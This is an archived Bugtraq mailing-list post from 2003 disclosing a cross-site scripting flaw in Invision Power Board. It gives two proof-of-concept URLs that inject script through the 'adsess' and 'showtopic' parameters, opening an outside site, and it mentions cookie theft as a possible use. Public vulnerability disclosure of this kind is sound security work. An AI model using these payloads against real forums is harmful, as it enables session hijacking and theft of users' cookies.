Home page logo
/

bugtraq logo Bugtraq mailing list archives

bug in Invision Power Board
From: Boy Bear <eyal067 () walla co il>
Date: 9 Sep 2003 19:15:19 -0000



I found possibility to run Script (java Script, VBScript) on the system 
Invision Power Board...
It's possible to do if it much {many} things like a withdrawal of 
cookie, 
advertising ....


For example:

http://forums.invisionpower.com/admin.php?
adsess='>&lt;script&gt;window.open
(window.location.search.substring
(78));&lt;/script&gt;<http://binaryvision.tech.nu?
BoyBear$$$From$$$BinaryVision





BoyBear From BinaryVision ( http://binaryvision.tech.nu )

http://www.securityfocus.com/archive/1/332461/2003-08-07/2003-08-13/0

The bug the previous fix but .....

http://forums.invisionpower.com/index.php?showtopic=&apos;>&lt;script&gt;window.open
(window.location.search.substring(79))
&lt;/script&gt;http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision



BoyBear From BinaryVision ( http://binaryvision.tech.nu )


  By Date           By Thread  

Current thread:
  • bug in Invision Power Board Boy Bear (Sep 09)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]